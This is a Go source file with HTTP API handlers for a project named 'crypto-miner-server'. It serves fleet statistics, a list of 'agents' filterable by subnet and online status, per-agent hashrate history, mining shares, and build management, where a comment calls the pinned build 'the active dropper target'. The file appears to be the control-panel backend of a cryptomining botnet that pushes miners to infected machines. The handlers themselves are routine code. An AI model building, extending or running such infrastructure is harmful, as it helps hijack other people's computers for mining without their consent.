package api import ( "encoding/json" "net/http" "strconv" "strings" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) var serverStartTime = time.Now() type Handler struct { db *db.Database } func NewHandler(database *db.Database) *Handler { return &Handler{db: database} } // GET /api/v1/dashboard/stats func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) { stats, err := h.db.GetFleetStats() if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, stats) } // GET /api/v1/agents // Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x). // When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array. func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) { filter, paginated := parseAgentListFilter(r) agents, err := h.db.ListAgentsFiltered(filter) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if agents == nil { agents = []*models.Agent{} } if !paginated { writeJSON(w, agents) return } total, err := h.db.CountAgentsFiltered(filter) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{ "agents": agents, "total": total, "limit": filter.Limit, "offset": filter.Offset, }) } const ( agentListDefaultLimit = 100 agentListMaxLimit = 2000 ) func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) { limitStr := r.URL.Query().Get("limit") if limitStr == "" { return db.AgentListFilter{}, false } limit, err := strconv.Atoi(limitStr) if err != nil || limit <= 0 { limit = agentListDefaultLimit } if limit > agentListMaxLimit { limit = agentListMaxLimit } offset := 0 if offStr := r.URL.Query().Get("offset"); offStr != "" { if o, err := strconv.Atoi(offStr); err == nil && o >= 0 { offset = o } } status := strings.TrimSpace(r.URL.Query().Get("status")) if status != "online" && status != "offline" { status = "" } return db.AgentListFilter{ Limit: limit, Offset: offset, Status: status, Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")), }, true } // GET /api/v1/agents/{id} func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") agent, err := h.db.GetAgent(id) if err != nil { http.Error(w, "Agent not found", http.StatusNotFound) return } writeJSON(w, agent) } // GET /api/v1/agents/{id}/stats func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if _, err := h.db.GetAgent(id); err != nil { http.Error(w, "Agent not found", http.StatusNotFound) return } limitStr := r.URL.Query().Get("limit") limit := 100 if l, err := strconv.Atoi(limitStr); err == nil && l > 0 { limit = l } if limit > 1000 { limit = 1000 } samples, err := h.db.GetHashrateHistory(id, limit) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if samples == nil { samples = []*models.HashrateSample{} } writeJSON(w, samples) } // GET /api/v1/shares func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) { limitStr := r.URL.Query().Get("limit") limit := 50 if l, err := strconv.Atoi(limitStr); err == nil && l > 0 { limit = l } if limit > 1000 { limit = 1000 } shares, err := h.db.GetRecentShares(limit) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if shares == nil { shares = []*models.Share{} } writeJSON(w, shares) } // GET /api/v1/health func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) { writeJSON(w, map[string]string{"status": "ok"}) } // GET /api/v1/server/ready // Requires auth (not in the basicAuthMiddleware bypass list). // Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check. func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) { uptime := int64(time.Since(serverStartTime).Seconds()) resp := map[string]interface{}{ "status": "ok", "uptime_s": uptime, } if r.URL.Query().Get("verbose") != "1" { writeJSON(w, resp) return } // DB ping dbStatus := "ok" if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil { dbStatus = "error: " + err.Error() resp["status"] = "degraded" } resp["db"] = dbStatus // Count online agents var onlineAgents int if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil { onlineAgents = -1 } resp["agents_online"] = onlineAgents if resp["status"] == "degraded" { w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusServiceUnavailable) json.NewEncoder(w).Encode(resp) return } writeJSON(w, resp) } // GET /api/v1/builds func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) { builds, err := h.db.ListBuilds(50) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if builds == nil { builds = []*models.BuildRecord{} } writeJSON(w, builds) } // PUT /api/v1/builds/{id}/pin // Pins the specified build as the active dropper target. // Send an empty id or DELETE to a fake pin endpoint to unpin all. func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if err := h.db.SetPinnedBuild(id); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id}) } // DELETE /api/v1/builds/pin (unpin all without deleting anything) func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) { if err := h.db.SetPinnedBuild(""); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"ok": true}) } // DELETE /api/v1/builds/{id} func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if err := h.db.DeleteBuild(id); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id}) } func writeJSON(w http.ResponseWriter, v interface{}) { w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(v) }